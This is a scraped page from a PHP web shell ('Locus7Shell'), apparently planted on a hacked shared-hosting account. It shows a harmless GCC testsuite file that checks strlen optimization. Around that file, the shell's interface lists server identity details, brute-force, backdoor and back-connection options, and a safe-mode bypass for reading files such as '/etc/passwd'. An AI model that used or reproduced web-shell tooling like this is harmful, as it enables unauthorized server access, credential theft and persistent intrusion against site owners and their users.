Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     strlenopt-84.c (2.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/83821 - local aggregate initialization defeats
   strlen optimization
   Verify that stores that overwrite an interior nul are correctly
   reflected in strlen results.
   { dg-do run }
   { dg-options "-O2 -Wall" }
   { dg-require-effective-target alloca } */

#define false (0 == 1)
#define true (0 == 0)
#define assert(e)                            \
  ((e) ? (void)0 : (__builtin_printf ("assertion failed on line %i\n",    \
                      __LINE__), __builtin_abort ()))

#define ATTR(...) __attribute__ ((__VA_ARGS__))

static inline int ATTR (always_inline)
assign_and_get_length (char *p, _Bool clear)
{
  p[0] = 'a';

  if (clear)
    p[1] = 0;

  p[2] = 'c';

  if (clear)
    p[3] = 0;

  p[1] = 'b';

  return __builtin_strlen (p);
}

ATTR (noipa) void array_get_length (void)
{
  char a[4];
  unsigned n = assign_and_get_length (a, true);
  assert (n == 3);
}

ATTR (noipa) void clear_array_get_length (void)
{
  char a[4] = { };
  unsigned n = assign_and_get_length (a, false);
  assert (n == 3);
}

ATTR (noipa) void calloc_get_length (void)
{
  char *p = __builtin_calloc (5, 1);
  unsigned n = assign_and_get_length (p, false);
  assert (n == 3);
}

ATTR (noipa) void malloc_get_length (void)
{
  char *p = __builtin_malloc (5);
  unsigned n = assign_and_get_length (p, true);
  assert (n == 3);
}

ATTR (noipa) void vla_get_length (int n)
{
  char a[n];
  unsigned len = assign_and_get_length (a, true);
  assert (len == 3);
}


static inline void ATTR (always_inline)
assign_and_test_length (char *p, _Bool clear)
{
  p[0] = 'a';

  if (clear)
    p[1] = 0;

  p[2] = 'c';

  if (clear)
    p[3] = 0;

  unsigned n0 =  __builtin_strlen (p);

  p[1] = 'b';

  unsigned n1 =  __builtin_strlen (p);
  assert (n0 != n1);
}

ATTR (noipa) void array_test_length (void)
{
  char a[4];
  assign_and_test_length (a, true);
}

ATTR (noipa) void clear_array_test_length (void)
{
  char a[4] = { };
  assign_and_test_length (a, false);
}

ATTR (noipa) void calloc_test_length (void)
{
  char *p = __builtin_calloc (5, 1);
  assign_and_test_length (p, false);
}

ATTR (noipa) void malloc_test_length (void)
{
  char *p = __builtin_malloc (5);
  assign_and_test_length (p, true);
}

ATTR (noipa) void vla_test_length (int n)
{
  char a[n];
  assign_and_test_length (a, true);
}

int main (void)
{
  array_get_length ();
  clear_array_get_length ();
  calloc_get_length ();
  malloc_get_length ();
  vla_get_length (4);

  array_test_length ();
  clear_array_test_length ();
  calloc_test_length ();
  malloc_test_length ();
  vla_test_length (4);
}


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--